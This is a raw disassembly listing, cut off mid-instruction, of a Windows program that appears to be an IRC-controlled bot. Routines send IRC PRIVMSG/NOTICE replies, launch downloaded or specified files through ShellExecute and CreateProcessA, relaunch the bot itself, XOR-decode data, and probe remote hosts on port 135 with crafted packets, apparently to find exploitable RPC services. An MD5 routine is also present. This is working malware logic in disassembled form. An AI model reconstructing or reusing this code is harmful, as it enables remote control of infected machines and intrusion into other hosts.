loc_407DAE loc_407E87: ; CODE XREF: sub_407CCD+16Ej cmp [ebp+var_38], esi mov [ebp+var_1C], 1 jz short loc_407EDC cmp edi, [ebp+var_38] jz short loc_407EDC push [ebp+var_38] lea eax, [ebp+var_50C] mov [ebp+var_1C], esi push edi push offset dword_41F9E4 push eax call sub_40EE10 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC lea eax, [ebp+var_50C] push eax call sub_407A4E add esp, 28h loc_407EDC: ; CODE XREF: sub_407CCD+1C4j ; sub_407CCD+1C9j call dword_41A090 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_14] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_41A068 ; CloseHandle push [ebp+var_20] call sub_40ECAF cmp [ebp+var_1C], esi pop ecx jz loc_4081C2 cmp [ebp+var_40], 1 jz loc_40807D mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_41A240 lea eax, [ebp+var_144] fstp [esp+580h+var_580] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_50C] fmul dbl_41A240 fstp [esp+58Ch+var_58C] push offset unk_41F994 push eax call sub_40EE10 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_407F86 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC add esp, 14h loc_407F86: ; CODE XREF: sub_407CCD+297j lea eax, [ebp+var_50C] push eax call sub_407A4E cmp [ebp+var_3C], 1 pop ecx mov edi, offset aOpen ; "open" jnz short loc_407FFA push 5 push esi lea eax, [ebp+var_144] push esi push eax push edi push esi call dword_427288 cmp [ebp+var_30], esi jnz short loc_407FFA lea eax, [ebp+var_144] push eax lea eax, [ebp+var_50C] push offset dword_41F964 push eax call sub_40EE10 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC lea eax, [ebp+var_50C] push eax call sub_407A4E add esp, 24h loc_407FFA: ; CODE XREF: sub_407CCD+2CFj ; sub_407CCD+2E7j cmp [ebp+var_3C], 2 jnz loc_4081C2 push 5 push esi lea eax, [ebp+var_144] push esi push eax push edi push esi call dword_427288 cmp [ebp+var_30], esi jnz short loc_408060 lea eax, [ebp+var_144] push eax lea eax, [ebp+var_50C] push offset unk_41F924 push eax call sub_40EE10 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC lea eax, [ebp+var_50C] push eax call sub_407A4E add esp, 24h loc_408060: ; CODE XREF: sub_407CCD+34Dj push 3E8h call dword_41A060 ; Sleep call dword_427274 ; WSACleanup call sub_404CE2 push esi call dword_41A0F4 ; ExitProcess loc_40807D: ; CODE XREF: sub_407CCD+24Bj mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_41A240 lea eax, [ebp+var_144] fstp [esp+5B8h+var_5B8] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_50C] fmul dbl_41A240 fstp [esp+5C4h+var_5C4] push offset dword_41F8CC push eax call sub_40EE10 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4080E5 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC add esp, 14h loc_4080E5: ; CODE XREF: sub_407CCD+3F6j lea eax, [ebp+var_50C] push eax call sub_407A4E push 10h lea eax, [ebp+var_10] push esi push eax call sub_40E800 push 44h lea eax, [ebp+var_30C] pop edi push edi push esi push eax call sub_40E800 add esp, 1Ch mov [ebp+var_30C], edi lea eax, [ebp+var_10] mov [ebp+var_300], offset byte_424EF4 push 1 mov [ebp+var_2DC], si pop edi push eax lea eax, [ebp+var_30C] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_144] push esi push eax push esi mov [ebp+var_2E0], edi call dword_41A0C0 ; CreateProcessA cmp eax, edi jnz short loc_408167 call dword_427274 ; WSACleanup call sub_404CE2 push esi call dword_41A0F4 ; ExitProcess loc_408167: ; CODE XREF: sub_407CCD+486j lea eax, [ebp+var_144] push eax push offset dword_41F884 jmp short loc_408181 ; --------------------------------------------------------------------------- loc_408175: ; CODE XREF: sub_407CCD+45j lea eax, [ebp+var_244] push eax push offset dword_41F848 loc_408181: ; CODE XREF: sub_407CCD+4A6j lea eax, [ebp+var_50C] push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081B5 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC add esp, 14h loc_4081B5: ; CODE XREF: sub_407CCD+4C6j lea eax, [ebp+var_50C] push eax call sub_407A4E pop ecx loc_4081C2: ; CODE XREF: sub_407CCD+241j ; sub_407CCD+331j push [ebp+var_18] call dword_427348 ; InternetCloseHandle push [ebp+var_44] call sub_40E4F2 pop ecx push esi call dword_41A084 ; ExitThread sub_407CCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4081DB proc near ; CODE XREF: sub_407CCD+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_4081F7 loc_4081E7: ; CODE XREF: sub_4081DB+1Aj mov dl, byte_41FBF2 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4081E7 locret_4081F7: ; CODE XREF: sub_4081DB+Aj retn sub_4081DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081F8 proc near ; DATA XREF: sub_409034+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_42D2E4 call dword_4273AC ; closesocket call sub_40E39F call dword_427274 ; WSACleanup call dword_427274 ; WSACleanup mov ebx, dword_41A060 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_40E800 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_40E800 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_424EF4 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_41A0E8 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_41A078 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_41A0C0 ; CreateProcessA test eax, eax jz short loc_4082BD push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_41A068 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4082BD: ; CODE XREF: sub_4081F8+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_42C550 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_41A0F4 ; ExitProcess pop edi pop esi pop ebx sub_4081F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082E0 proc near ; CODE XREF: sub_408318+125p ; sub_408318+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40830E loc_4082F1: ; CODE XREF: sub_4082E0+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_410760 add esp, 0Ch test eax, eax jz short loc_408314 inc esi cmp esi, edi jl short loc_4082F1 loc_40830E: ; CODE XREF: sub_4082E0+Fj xor al, al loc_408310: ; CODE XREF: sub_4082E0+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_408314: ; CODE XREF: sub_4082E0+27j mov al, 1 jmp short loc_408310 sub_4082E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408318 proc near ; CODE XREF: sub_4014EF+9Cp ; sub_4014EF+169p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_40EC80 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_408359 dec eax jz short loc_408337 dec eax loc_408331: ; CODE XREF: sub_408318+57j xor eax, eax loc_408333: ; CODE XREF: sub_408318+3Fj ; sub_408318+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_408337: ; CODE XREF: sub_408318+16j push 3 push 1388h push [ebp+arg_0] call dword_427354 ; inet_addr push eax call sub_403711 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_408333 ; --------------------------------------------------------------------------- loc_408359: ; CODE XREF: sub_408318+13j push 6 push 1 push 2 call dword_427394 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_408331 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_40E800 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_427314 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_404F02 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4272BC ; connect cmp eax, edi jz loc_408475 push ebx push 48h push offset dword_41FAE0 push esi call dword_427364 ; send cmp eax, edi jz loc_408475 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_42732C ; recv cmp eax, edi jz loc_408475 cmp [ebp+var_200E], 0Ch jnz short loc_408475 push ebx push 18h push offset dword_41FB2C push [ebp+arg_4] call dword_427364 ; send cmp eax, edi jz short loc_408475 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_42732C ; recv mov esi, eax cmp esi, edi jz short loc_408475 cmp [ebp+var_200E], 2 jnz short loc_408475 push 10h push offset loc_41FB48 lea eax, [ebp+var_2010] push esi push eax call sub_4082E0 add esp, 10h test al, al jz short loc_408455 cmp esi, 12Ch setnl bl inc ebx jmp short loc_408475 ; --------------------------------------------------------------------------- loc_408455: ; CODE XREF: sub_408318+12Fj push 10h push offset dword_41FB5C lea eax, [ebp+var_2010] push esi push eax call sub_4082E0 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_408475: ; CODE XREF: sub_408318+9Bj ; sub_408318+B2j ... push [ebp+arg_4] call dword_4273AC ; closesocket mov eax, ebx pop ebx jmp loc_408333 sub_408318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408486 proc near ; CODE XREF: sub_409802+3Dp ; sub_40997B+1C1p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_410704 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_427364 ; send leave retn sub_408486 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084CC proc near ; CODE XREF: .packed:00402C12p ; sub_402C55+569p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_4084E7 mov edi, offset aPrivmsg ; "PRIVMSG" loc_4084E7: ; CODE XREF: sub_4084CC+14j push edi call sub_40E730 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_40E730 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset dword_41FB7C push esi push eax call sub_40E7AB add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_41FB70 push eax call sub_40EE10 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_427364 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40856A push 7D0h call dword_41A060 ; Sleep locret_40856A: ; CODE XREF: sub_4084CC+91j leave retn sub_4084CC endp ; =============== S U B R O U T I N E ======================================= sub_40856C proc near ; CODE XREF: sub_408FD8+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] mov edx, ecx imul edx, 0Bh add edx, 67452301h and dword ptr [eax+4], 0 mov [eax+8], edx mov edx, ecx imul edx, 47h sub edx, 10325477h and dword ptr [eax], 0 mov [eax+0Ch], edx mov edx, ecx imul edx, 25h imul ecx, 61h sub edx, 67452302h add ecx, 10325476h mov [eax+10h], edx mov [eax+14h], ecx retn sub_40856C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B2 proc near ; CODE XREF: sub_408F2E+2Fp ; sub_408FD8+1Fp var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov edx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push edi mov ecx, [esi] mov eax, ecx shr eax, 3 lea edi, [ecx+edx*8] and eax, 3Fh cmp edi, ecx jnb short loc_4085D4 inc dword ptr [esi+4] loc_4085D4: ; CODE XREF: sub_4085B2+1Dj mov ecx, edx mov [esi], edi shr ecx, 1Dh add [esi+4], ecx mov ecx, edx dec edx test ecx, ecx jz short loc_408640 inc edx push ebx mov [ebp+arg_0], edx loc_4085EA: ; CODE XREF: sub_4085B2+8Bj mov ecx, [ebp+arg_4] inc eax inc [ebp+arg_4] cmp eax, 40h mov cl, [ecx] mov [esi+eax+17h], cl jnz short loc_40863A push 10h lea eax, [esi+1Ah] lea ecx, [ebp+var_40] pop edi loc_408605: ; CODE XREF: sub_4085B2+75j movzx ebx, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, ebx movzx ebx, byte ptr [eax-6] shl edx, 8 or edx, ebx mov [ecx], edx add ecx, 4 dec edi jnz short loc_408605 lea eax, [ebp+var_40] push eax lea eax, [esi+8] push eax call sub_408644 pop ecx xor eax, eax pop ecx loc_40863A: ; CODE XREF: sub_4085B2+48j dec [ebp+arg_0] jnz short loc_4085EA pop ebx loc_408640: ; CODE XREF: sub_4085B2+31j pop edi pop esi leave retn sub_4085B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408644 proc near ; CODE XREF: sub_4085B2+7Fp ; sub_408F2E+72p var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov ebx, [ecx+4] mov esi, [ecx+0Ch] push edi mov edi, [eax] mov [ebp+var_8], edi mov edi, ebx not edi and edi, esi mov esi, [ecx+8] mov edx, [ecx] and esi, ebx or edi, esi add edi, [ebp+var_8] lea esi, [edi+edx-28955B88h] mov edi, ebx mov edx, esi shr edx, 19h shl esi, 7 or edx, esi mov esi, [eax+4] add edx, ebx mov [ebp+var_14], esi mov esi, edx and edi, edx not esi and esi, [ecx+8] or esi, edi mov edi, [ecx+0Ch] add esi, [ebp+var_14] lea edi, [edi+esi-173848AAh] mov esi, edi shr esi, 14h shl edi, 0Ch or esi, edi mov edi, [eax+8] add esi, edx mov [ebp+var_2C], edi mov edi, esi mov [ebp+arg_0], esi not edi and edi, ebx mov ebx, esi and ebx, edx or edi, ebx mov ebx, [ecx+8] add edi, [ebp+var_2C] lea ebx, [ebx+edi+242070DBh] mov edi, ebx shr edi, 0Fh shl ebx, 11h or edi, ebx mov ebx, [eax+0Ch] add edi, esi mov [ebp+var_10], ebx mov ebx, edi and esi, edi not ebx and ebx, edx mov [ebp+arg_4], edi or ebx, esi add ebx, [ebp+var_10] mov esi, ebx mov ebx, [ecx+4] lea ebx, [ebx+esi-3E423112h] mov esi, ebx shl esi, 16h shr ebx, 0Ah or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, [ebp+arg_0] or ebx, edi mov edi, [eax+10h] mov [ebp+var_44], edi add ebx, edi lea edx, [edx+ebx-0A83F051h] mov ebx, esi mov edi, edx shr edi, 19h shl edx, 7 or edi, edx mov edx, [eax+14h] add edi, esi mov [ebp+var_C], edx mov edx, edi and ebx, edi not edx and edx, [ebp+arg_4] mov [ebp+var_40], edi or edx, ebx mov ebx, [ebp+arg_0] add edx, [ebp+var_C] lea ebx, [ebx+edx+4787C62Ah] mov edx, ebx shr edx, 14h shl ebx, 0Ch or edx, ebx mov ebx, [eax+18h] add edx, edi mov [ebp+var_20], ebx mov ebx, edx mov [ebp+arg_0], edx not ebx and ebx, esi and edx, edi or ebx, edx mov edx, [ebp+arg_4] add ebx, [ebp+var_20] lea ebx, [edx+ebx-57CFB9EDh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, [ebp+arg_0] mov ebx, edx not ebx and ebx, edi mov edi, [ebp+arg_0] and edi, edx or ebx, edi mov edi, [eax+1Ch] add ebx, edi mov [ebp+var_34], edi lea esi, [esi+ebx-2B96AFFh] mov ebx, edx mov edi, esi shl edi, 16h shr esi, 0Ah or edi, esi mov esi, [eax+20h] add edi, edx mov [ebp+var_18], esi mov esi, edi and ebx, edi not esi and esi, [ebp+arg_0] mov [ebp+var_3C], edi or esi, ebx mov ebx, [ebp+var_40] add esi, [ebp+var_18] lea ebx, [ebx+esi+698098D8h] mov esi, ebx shr esi, 19h shl ebx, 7 or esi, ebx mov ebx, [eax+24h] add esi, edi mov [ebp+var_30], ebx mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi mov edi, [ebp+arg_0] add ebx, [ebp+var_30] lea ebx, [edi+ebx-74BB0851h] mov edi, ebx shr edi, 14h shl ebx, 0Ch or edi, ebx add edi, esi mov ebx, edi mov [ebp+arg_0], edi not ebx and ebx, [ebp+var_3C] and edi, esi or ebx, edi mov edi, [eax+28h] add ebx, edi mov [ebp+var_40], edi lea edx, [edx+ebx-0A44Fh] mov ebx, [ebp+arg_0] mov edi, edx shr edi, 0Fh shl edx, 11h or edi, edx mov edx, [eax+2Ch] add edi, [ebp+arg_0] mov [ebp+var_28], edx mov edx, edi and ebx, edi not edx and edx, esi mov [ebp+arg_4], edi or edx, ebx mov ebx, [ebp+var_3C] add edx, [ebp+var_28] lea ebx, [ebx+edx-76A32842h] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, [ebp+arg_0] or ebx, edi mov edi, [eax+30h] add ebx, edi mov [ebp+var_3C], edi lea esi, [esi+ebx+6B901122h] mov ebx, edx mov edi, esi shr edi, 19h shl esi, 7 or edi, esi mov esi, [eax+34h] add edi, edx mov [ebp+var_24], esi mov esi, edi and ebx, edi not esi and esi, [ebp+arg_4] or esi, ebx mov ebx, [ebp+arg_0] add esi, [ebp+var_24] lea ebx, [ebx+esi-2678E6Dh] mov esi, ebx shr esi, 14h shl ebx, 0Ch or esi, ebx add esi, edi mov [ebp+var_4], esi mov [ebp+arg_0], esi not [ebp+var_4] mov ebx, [ebp+var_4] and esi, edi and ebx, edx or ebx, esi mov esi, [eax+38h] mov [ebp+var_38], esi add ebx, esi mov esi, [ebp+arg_4] lea ebx, [esi+ebx-5986BC72h] mov esi, ebx shr esi, 0Fh shl ebx, 11h mov eax, [eax+3Ch] or esi, ebx add esi, [ebp+arg_0] mov ebx, [ebp+arg_0] mov [ebp+var_1C], eax mov [ebp+arg_4], esi and ebx, esi not [ebp+arg_4] mov eax, [ebp+arg_4] and eax, edi or eax, ebx mov ebx, [ebp+arg_0] add eax, [ebp+var_1C] lea edx, [edx+eax+49B40821h] mov eax, edx shl eax, 16h shr edx, 0Ah or eax, edx mov edx, [ebp+var_4] add eax, esi and edx, esi and ebx, eax or edx, ebx mov ebx, esi add edx, [ebp+var_14] lea edi, [edi+edx-9E1DA9Eh] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, [ebp+arg_4] add edx, eax and edi, eax and ebx, edx or edi, ebx mov ebx, [ebp+arg_0] add edi, [ebp+var_20] lea ebx, [ebx+edi-3FBF4CC0h] mov edi, ebx shr edi, 17h shl ebx, 9 or edi, ebx mov ebx, eax add edi, edx not ebx mov [ebp+arg_0], edi and ebx, edx and edi, eax or ebx, edi add ebx, [ebp+var_28] lea esi, [esi+ebx+265E5A51h] mov edi, esi shr edi, 12h shl esi, 0Eh or edi, esi mov esi, edx add edi, [ebp+arg_0] not esi and esi, [ebp+arg_0] mov ebx, edi and ebx, edx or esi, ebx mov ebx, [ebp+arg_0] add esi, [ebp+var_8] lea eax, [eax+esi-16493856h] mov esi, eax shl esi, 14h shr eax, 0Ch or esi, eax mov eax, [ebp+arg_0] add esi, edi not eax and eax, edi and ebx, esi or eax, ebx add eax, [ebp+var_C] lea edx, [edx+eax-29D0EFA3h] mov eax, edx shr eax, 1Bh shl edx, 5 or eax, edx mov edx, edi add eax, esi mov ebx, edi not edx and ebx, eax and edx, esi or edx, ebx mov ebx, [ebp+arg_0] add edx, [ebp+var_40] lea ebx, [ebx+edx+2441453h] mov edx, ebx shr edx, 17h shl ebx, 9 or edx, ebx mov ebx, esi add edx, eax not ebx mov [ebp+arg_0], edx and ebx, eax and edx, esi or ebx, edx add ebx, [ebp+var_1C] lea edi, [edi+ebx-275E197Fh] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, [ebp+arg_0] not edi and edi, [ebp+arg_0] mov ebx, edx and ebx, eax or edi, ebx mov ebx, [ebp+arg_0] add edi, [ebp+var_44] lea esi, [esi+edi-182C0438h] mov edi, esi shl edi, 14h shr esi, 0Ch or edi, esi mov esi, [ebp+arg_0] add edi, edx not esi and esi, edx and ebx, edi or esi, ebx mov ebx, edx add esi, [ebp+var_30] lea eax, [eax+esi+21E1CDE6h] mov esi, eax shr esi, 1Bh shl eax, 5 or esi, eax mov eax, edx add esi, edi not eax and eax, edi and ebx, esi or eax, ebx mov ebx, [ebp+arg_0] add eax, [ebp+var_38] lea ebx, [ebx+eax-3CC8F82Ah] mov eax, ebx shr eax, 17h shl ebx, 9 or eax, ebx mov ebx, edi add eax, esi not ebx mov [ebp+arg_0], eax and ebx, esi and eax, edi or ebx, eax add ebx, [ebp+var_10] lea edx, [edx+ebx-0B2AF279h] mov eax, edx shr eax, 12h shl edx, 0Eh or eax, edx mov edx, esi add eax, [ebp+arg_0] not edx and edx, [ebp+arg_0] mov ebx, eax and ebx, esi or edx, ebx mov ebx, [ebp+arg_0] add edx, [ebp+var_18] lea edi, [edi+edx+455A14EDh] mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, [ebp+arg_0] add edx, eax not edi and edi, eax and ebx, edx or edi, ebx mov ebx, eax add edi, [ebp+var_24] lea esi, [esi+edi-561C16FBh] mov edi, esi shr edi, 1Bh shl esi, 5 or edi, esi mov esi, eax add edi, edx not esi and esi, edx and ebx, edi or esi, ebx mov ebx, [ebp+arg_0] add esi, [ebp+var_2C] lea ebx, [ebx+esi-3105C08h] mov esi, ebx shr esi, 17h shl ebx, 9 or esi, ebx mov ebx, edx add esi, edi not ebx mov [ebp+arg_0], esi and ebx, edi and esi, edx or ebx, esi add ebx, [ebp+var_34] lea eax, [eax+ebx+676F02D9h] mov esi, eax shr esi, 12h shl eax, 0Eh or esi, eax mov eax, edi add esi, [ebp+arg_0] not eax and eax, [ebp+arg_0] mov ebx, esi and ebx, edi or eax, ebx add eax, [ebp+var_3C] lea edx, [edx+eax-72D5B376h] mov eax, edx shl eax, 14h shr edx, 0Ch or eax, edx mov edx, [ebp+arg_0] add eax, esi xor edx, esi xor edx, eax add edx, [ebp+var_C] lea edi, [edi+edx-5C6BEh] mov edx, edi shr edx, 1Ch shl edi, 4 or edx, edi mov edi, esi add edx, eax xor edi, eax xor edi, edx add edi, [ebp+var_18] mov ebx, [ebp+arg_0] lea ebx, [ebx+edi-788E097Fh] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, edx mov [ebp+arg_0], edi xor edi, eax xor edi, edx mov ebx, [ebp+arg_0] add edi, [ebp+var_28] lea esi, [esi+edi+6D9D6122h] mov edi, esi shr edi, 10h shl esi, 10h or edi, esi add edi, ebx xor ebx, edi mov esi, ebx xor esi, edx add esi, [ebp+var_38] lea eax, [eax+esi-21AC7F4h] mov esi, eax shl esi, 17h shr eax, 9 or esi, eax add esi, edi xor ebx, esi add ebx, [ebp+var_14] lea edx, [edx+ebx-5B4115BCh] mov ebx, [ebp+arg_0] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, edi add eax, esi xor edx, esi xor edx, eax add edx, [ebp+var_44] lea edx, [ebx+edx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx mov [ebp+arg_0], ebx xor edx, esi xor edx, eax add edx, [ebp+var_34] lea edx, [edi+edx-944B4A0h] mov edi, edx shr edi, 10h shl edx, 10h or edi, edx add edi, ebx xor [ebp+arg_0], edi mov edx, [ebp+arg_0] xor edx, eax add edx, [ebp+var_40] lea esi, [esi+edx-41404390h] mov edx, esi shl edx, 17h shr esi, 9 or edx, esi mov esi, [ebp+arg_0] add edx, edi xor esi, edx add esi, [ebp+var_24] lea esi, [eax+esi+289B7EC6h] mov eax, esi shr eax, 1Ch shl esi, 4 or eax, esi mov esi, edi add eax, edx xor esi, edx xor esi, eax add esi, [ebp+var_8] lea ebx, [ebx+esi-155ED806h] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, eax mov ebx, esi mov [ebp+arg_0], esi xor ebx, edx xor ebx, eax add ebx, [ebp+var_10] lea edi, [edi+ebx-2B10CF7Bh] mov ebx, edi shr ebx, 10h shl edi, 10h or ebx, edi add ebx, esi xor [ebp+arg_0], ebx mov [ebp+arg_4], ebx mov edi, [ebp+arg_0] xor edi, eax add edi, [ebp+var_20] lea edi, [edx+edi+4881D05h] mov edx, edi shl edx, 17h shr edi, 9 or edx, edi mov edi, [ebp+arg_0] add edx, ebx xor edi, edx xor ebx, edx add edi, [ebp+var_30] lea edi, [eax+edi-262B2FC7h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi add eax, edx xor ebx, eax add ebx, [ebp+var_3C] lea edi, [esi+ebx-1924661Bh] mov ebx, [ebp+arg_4] mov esi, edi shr esi, 15h shl edi, 0Bh or esi, edi add esi, eax mov edi, esi xor edi, edx xor edi, eax add edi, [ebp+var_1C] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, esi add edi, esi xor ebx, edi mov [ebp+arg_4], edi xor ebx, eax add ebx, [ebp+var_2C] lea edx, [edx+ebx-3B53A99Bh] mov ebx, [ebp+arg_4] mov edi, edx shl edi, 17h shr edx, 9 or edi, edx mov edx, esi add edi, ebx not edx or edx, edi xor edx, ebx add edx, [ebp+var_8] lea eax, [eax+edx-0BD6DDBCh] mov edx, eax shr edx, 1Ah shl eax, 6 or edx, eax add edx, edi mov eax, ebx not eax or eax, edx xor eax, edi add eax, [ebp+var_34] lea esi, [esi+eax+432AFF97h] mov eax, esi shr eax, 16h shl esi, 0Ah or eax, esi mov esi, edi add eax, edx not esi or esi, eax xor esi, edx add esi, [ebp+var_38] lea ebx, [ebx+esi-546BDC59h] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, edx add esi, eax not ebx or ebx, esi xor ebx, eax add ebx, [ebp+var_C] lea edi, [edi+ebx-36C5FC7h] mov ebx, edi shr edi, 0Bh shl ebx, 15h or ebx, edi mov edi, eax add ebx, esi not edi or edi, ebx xor edi, esi add edi, [ebp+var_3C] lea edi, [edx+edi+655B59C3h] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, esi add edx, ebx not edi or edi, edx xor edi, ebx add edi, [ebp+var_10] lea edi, [eax+edi-70F3336Eh] mov eax, edi shr eax, 16h shl 